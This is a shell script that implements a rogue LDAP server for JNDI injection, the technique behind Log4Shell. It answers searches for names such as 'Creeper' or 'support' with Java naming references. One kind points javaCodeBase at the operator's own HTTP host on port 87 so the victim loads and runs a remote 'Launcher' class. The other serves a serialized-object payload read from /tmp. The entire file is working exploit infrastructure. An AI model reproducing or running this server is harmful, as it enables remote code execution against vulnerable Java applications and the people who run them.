#!/bin/sh

# Dirty LDAP server for JNDI lookup
# Copyright 2015-2021 Rivoreo

# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at https://mozilla.org/MPL/2.0/.

LDAP_REQ_BIND=0x60
LDAP_REQ_UNBIND=0x42
LDAP_REQ_SEARCH=0x63
LDAP_RES_BIND=0x61
LDAP_RES_SEARCH_ENTRY=0x64
LDAP_RES_SEARCH_RESULT=0x65

get_length() {
	local buffer
	#buffer="`xxd -g 2 -l 2`"
	buffer="`dd bs=2 count=1 | xxd -g 2`"
	[ -n "$buffer" ]
	buffer="${buffer#*: ??}"
	len="$((0x${buffer%% *}))"
	if [ $len -lt 128 ]; then
		echo $len
		return
	fi
	len=$((len&0x7f))
	#buffer="`xxd -g $len -l $len`"
	buffer="`dd bs=1 count=$len | xxd -g $len`"
	[ -n "$buffer" ]
	buffer="${buffer#*: ??}"
	echo $((0x${buffer%% *}))
}

next_byte() {
	[ "$len" -gt 0 ]
	remainings="${buffer#??}"
	byte="${buffer%$remainings}"
	buffer="$remainings"
	len=$((len-1))
}

next_bytes() {
	[ "$len" -gt $1 ]
	local cut i=0
	while [ $i -lt $1 ]; do
		cut="??$cut"
		i=$((i+1))
	done
	remainings="${buffer#$cut}"
	bytes="${buffer%$remainings}"
	buffer="$remainings"
	len=$((len-$1))
}

next_uint32() {
	next_bytes 4
	n=$((0x$bytes))
}

if [ "`printf '\\x30'`" = 0 ]; then
	next_string() {
		next_bytes $1
		string="`printf \"\`printf %s \\\"$bytes\\\" | sed -E 's/(..)/\\\\\\\\x\\\\1/g'\`\"`"
	}
else
	next_string() {
		next_bytes $1
		string=
		while [ -n "$bytes" ]; do
			remainings=${bytes#??}
			n=$((0x${bytes%$remainings}))
			bytes=$remainings
			string="$string`printf \"\\\\\`printf %03o $n\`\"`"
		done
	}
fi

next_ldap_string() {
	next_byte
	[ $byte = 04 ]
	next_byte
	string_len=$((0x$byte))
	if [ $string_len -gt 127 ]; then
		string_len=$((byte&0x7f))
		next_bytes $string_len
		string_len=$((0x$bytes))
	fi
	next_string $string_len
}

encode_length() {
	if [ $1 -gt 65535 ]; then
		echo "too large" 1>&2
		exit 1
	elif [ $1 -gt 255 ]; then
		encoded_length="82`printf %04x $1`"
		encoding_len=3
	elif [ $1 -gt 127 ]; then
		encoded_length="81`printf %02x $1`"
		encoding_len=2
	else
		encoded_length="`printf %02x $1`"
		encoding_len=1
	fi
}

encode_string() {
	local s="$1" len=0 buffer= c wa
	while [ -n "$s" ]; do
		remainings="${s#?}"
		c="${s%$remainings}"
		s="$remainings"
		# causes vim(1) syntax highlighting piao
		#buffer="$buffer`printf %02x \"'$c\"`"
		wa="'$c"
		buffer="$buffer`printf %02x \"$wa\"`"
		len=$((len+1))
	done
	encode_length $len
	encoded_string="04$encoded_length$buffer"
	encoding_len=$((1+encoding_len+len))
}

encode_attribute() {
	local attr_desc attr_len attr_val attr_val_set_len
	encode_string "$1"
	attr_desc=$encoded_string
	attr_len=$encoding_len
	encode_string "$2"
	attr_val=$encoded_string
	attr_val_set_len=$encoding_len
	encode_length $attr_val_set_len
	attr_len=$((attr_len+1+attr_val_set_len+encoding_len))
	attr_val_set_len=$encoded_length
	encode_length $attr_len
	encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val"
	encoding_len=$((1+attr_len+encoding_len))
}

encode_attribute_from_file() {
	local attr_desc attr_len attr_val attr_val_set_len
	encode_string "$1"
	attr_desc=$encoded_string
	attr_len=$encoding_len
	attr_val="`xxd -c 64 -g 64 \"$2\" | cut -c 10-137 | while read line; do printf %s \"\$line\"; done`"
	attr_val_set_len=${#attr_val}
	attr_val_set_len=$((attr_val_set_len/2))
	encode_length $attr_val_set_len
	attr_val=04$encoded_length$attr_val
	attr_val_set_len=$((1+encoding_len+attr_val_set_len))
	encode_length $attr_val_set_len
	attr_len=$((attr_len+1+attr_val_set_len+encoding_len))
	attr_val_set_len=$encoded_length
	encode_length $attr_len
	encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val"
	encoding_len=$((1+attr_len+encoding_len))
}

if [ "`printf '\\x30'`" = 0 ]; then
	write_bytes() {
		printf "`printf %s \"$1\" | sed -E 's/(..)/\\\\x\\1/g'`"
	}
else
	write_bytes() {
		local buffer="$1"
		while [ -n "$buffer" ]; do
			remainings=${buffer#??}
			n=$((0x${buffer%$remainings}))
			buffer=$remainings
			printf "\\`printf %03o $n`"
		done | dd obs=256
		# the above dd(1) creates a send buffer for easier debugging
	}
fi

set -e
public_address="`ssh router-address -l root -i /root/.ssh/id_rsa_router_get_pppoe_ifconfig -T < /dev/null | grep -E '^          inet addr:([0-9]{1,3}\\.){3}[0-9]{1,3} ' | sed -r -e 's/^ +inet addr://' -e 's/ .+//'`"
trap "echo exiting 1>&2" EXIT
#set -u
while len="`get_length`" && [ "$len" -gt 0 ]; do
	#buffer="`xxd -g $len -l $len`"
	buffer="`dd bs=1 count=$len | xxd -g $len`"
	[ -n "$buffer" ]
	buffer="${buffer#*: }"
	buffer="${buffer%% *}"
	next_byte
	[ "$byte" = 02 ]
	next_byte
	[ "$byte" -lt 5 ]
	msg_id_len_encoded=$byte
	msg_id_len=$((0x$msg_id_len_encoded))
	next_bytes $msg_id_len
	msg_id="02$msg_id_len_encoded$bytes"
	next_byte
	case 0x$byte in
		$LDAP_REQ_BIND)
			[ $len -lt $((125-msg_id_len)) ]
			write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_BIND#0x}070a010004000400"
			;;
		$LDAP_REQ_SEARCH)
			next_byte
			#[ $byte -lt 128 ]
			[ $byte -lt $((len-3-msg_id_len)) ]
			next_ldap_string
			[ $len -lt $((125-msg_id_len)) ]
			printf "Searching for '%s'\\n" "$string" 1>&2
			case "$string" in
				chicken|Chicken|Creeper|Skeleton)
					encode_string "$string"
					object_name="$encoded_string"
					search_entry_len=$encoding_len
					encode_attribute javaClassName Foo
					attr1=$encoded_attribute
					attributes_len=$encoding_len
					encode_attribute javaCodeBase "http://$public_address:87/"
					attr2=$encoded_attribute
					attributes_len=$((attributes_len+encoding_len))
					encode_attribute objectClass javaNamingReference
					attr3=$encoded_attribute
					attributes_len=$((attributes_len+encoding_len))
					encode_attribute javaFactory Launcher
					attr4=$encoded_attribute
					attributes_len=$((attributes_len+encoding_len))
					encode_length $attributes_len
					search_entry_len=$((search_entry_len+1+attributes_len+encoding_len))
					attributes_len=$encoded_length
					encode_length $search_entry_len
					msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len))
					search_entry_len=$encoded_length
					encode_length $msg_len
					msg_len=$encoded_length
					write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2$attr3$attr4"
					;;
				support)
					encode_string "$string"
					object_name="$encoded_string"
					search_entry_len=$encoding_len
					encode_attribute javaClassName Foo
					attr1=$encoded_attribute
					attributes_len=$encoding_len

					encode_attribute_from_file javaSerializedData /tmp/serialized-object
					attr2=$encoded_attribute
					#encode_string javaSerializedData
					#attr2_desc=$encoded_string
					#attr2_len=$encoding_len
					#attr2_val=00
					#attr2_val_set_len=$((4+1))
					#encode_length $attr2_val_set_len
					#attr2_len=$((attr2_len+1+attr2_val_set_len+encoding_len))
					#attr2_val_set_len=$encoded_length
					#encode_length $attr2_len
					#attr2="30$encoded_length${attr2_desc}31$attr2_val_set_len$attr2_val"
					#encoding_len=$((1+attr2_len+encoding_len))

					attributes_len=$((attributes_len+encoding_len))
					encode_length $attributes_len
					search_entry_len=$((search_entry_len+1+attributes_len+encoding_len))
					attributes_len=$encoded_length
					encode_length $search_entry_len
					msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len))
					search_entry_len=$encoded_length
					encode_length $msg_len
					msg_len=$encoded_length
					write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2"
					;;
			esac
			write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_SEARCH_RESULT#0x}070a010004000400"
			;;
		$LDAP_REQ_UNBIND)
			exit
			;;
		*)
			echo "Request $byte not supported" 1>&2
			exit
	esac
done
